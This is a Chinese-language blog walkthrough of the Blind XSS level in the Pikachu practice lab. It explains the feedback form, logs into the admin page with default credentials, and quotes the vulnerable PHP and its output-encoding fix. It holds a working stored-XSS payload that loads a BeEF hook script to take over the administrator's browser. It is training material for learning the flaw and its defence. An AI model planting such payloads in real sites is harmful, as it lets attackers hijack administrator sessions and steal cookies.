Pikachu靶场通关笔记(10) — Blind XSS (盲打)

36次阅读
没有评论

前言:
在之前的关卡中,无论是反射型还是存储型,输入脚本后都能在前台页面看到效果(弹窗)。但有一种 XSS,输入后没有任何反应。这就是 Blind XSS(XSS 盲打)。它的攻击目标通常不是普通用户,而是 网站管理员 后台审核人员

1. 场景探测与分析

进入 “XSS 盲打 ” 关卡,界面非常简洁,是一个用户反馈表单。

  • 输入测试:在输入框中填入 “ 你好 ” 和随便一个名字,点击提交。
  • 现象:页面仅提示“谢谢参与,阁下的看法我们已经收到!”,随后表单被清空,URL 也没有变化,页面上也没有显示我刚才输入的内容。
Pikachu 靶场通关笔记(10) — Blind XSS (盲打)

初步判断
数据肯定被提交到了后端的数据库中,但前台不显示。这意味着如果存在 XSS,受害者不是前台用户,而是 能看到这些数据的人(管理员)

2. 寻找攻击路径

既然攻击目标是管理员,我们需要找到管理员查看数据的入口(在实战中,这一步通常需要配合目录扫描工具)。

通过查看靶场提示或源码分析,找到了后台登录地址:
http://localhost:8899/vul/xss/xssblind/admin_login.php

Pikachu 靶场通关笔记(10) — Blind XSS (盲打)

输入默认账号密码(通常是 admin/123456,也可以自己爆破出来)登录后,看到了一个“用户反馈的意见列表”。
关键点发现 :这里原样输出了刚才在前台提交的测试内容。这说明: 后台就是 XSS 的爆发点

Pikachu 靶场通关笔记(10) — Blind XSS (盲打)

3. 构造 Payload 实施攻击

既然确认后台会渲染用户提交的数据,就可以在前台埋下“地雷”。

由于我看不到回显,无法确定过滤规则,通常会使用最简单的 Payload 或打 Cookie 的 Payload。为了验证危害最大化,直接使用 BeEF 钩子。

Payload:

<script src="http://localhost:3000/hook.js"></script>

攻击步骤

  1. 回到前台“用户反馈”页面。
  2. 在内容框中填入上述 Payload。
  3. 点击提交。页面提示“谢谢参与”。
  4. 此时什么都没发生(这就是“盲”)。

4. 触发与上线

现在的场景模拟是:攻击者(我)已经埋好了雷,正在家里睡觉。
此时,不知情的管理员(模拟登录)打开了后台页面准备审核今天的用户留言。

触发流程

  1. 管理员访问 admin_login.php 并登录。
  2. 后台页面从数据库加载留言列表。
  3. 浏览器解析到我刚才提交的 <script src="..."> 标签。
  4. 浏览器悄悄加载了 BeEF 的 hook.js

结果
当我(攻击者)查看 BeEF 控制台时,发现管理员的浏览器已经成功上线!

Pikachu 靶场通关笔记(10) — Blind XSS (盲打)
Pikachu 靶场通关笔记(10) — Blind XSS (盲打)

5. 源码深度解析

前台代码 (保存数据):

$link=connect();
$html='';
if(array_key_exists("content",$_POST) && $_POST['content']!=null){
    ..........
    // ... 简单的存入数据库操作 ...
    $query="insert into xssblind(time,content,name) values('$time','$content','$name')";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)==1){$html.="<p>谢谢参与,阁下的看法我们已经收到!</p>";
    }else {$html.="<p>ooo. 提交出现异常,请重新提交 </p>";
    }
}

前台只负责把数据存进数据库,没有做输出,所以前台看不到 XSS。

后台代码 (admin.php 输出数据):

..................
<?php
// ... 连接数据库 ...
   $query="select * from xssblind";
   $result=mysqli_query($link, $query);
   hile($data=mysqli_fetch_assoc($result)){
                        $html=<<<A
// 漏洞点:直接输出数据库内容,未做 htmlspecialchars 编码
    <tr>
        <td>{$data['id']}</td>
        <td>{$data['time']}</td>
        <td>{$data['content']}</td>
        <td>{$data['name']}</td>
        <td><a href="admin.php?id={$data['id']}">删除 </a></td>
    </tr> A;
     echo $html;}
?>

漏洞成因
问题的根源在于 后台管理页面。开发者往往觉得后台是内部使用的,环境相对安全,从而忽视了对从数据库取出的数据进行输出编码。当攻击者通过前台将恶意脚本存入数据库,管理员一打开后台,脚本就执行了。

6. 总结与防御

Blind XSS 的危害:
它是极其危险的,因为它直接威胁到 系统的最高权限者
通过 Blind XSS,攻击者可以:

  1. 窃取管理员的 Cookie,直接接管后台。
  2. 获取后台页面的源码、接口信息。
  3. 如果后台在内网,还可以利用管理员浏览器作为跳板扫描内网。

防御方案:
防御 XSS 的黄金法则依然适用:“输入做过滤,输出做编码”
不仅仅是前台页面,后台管理页面 在输出用户提交的数据时,也必须严格使用 htmlspecialchars() 等函数进行实体编码。永远不要信任用户的输入,哪怕是在“只有管理员能看”的后台。

正文完
 0
评论(没有评论)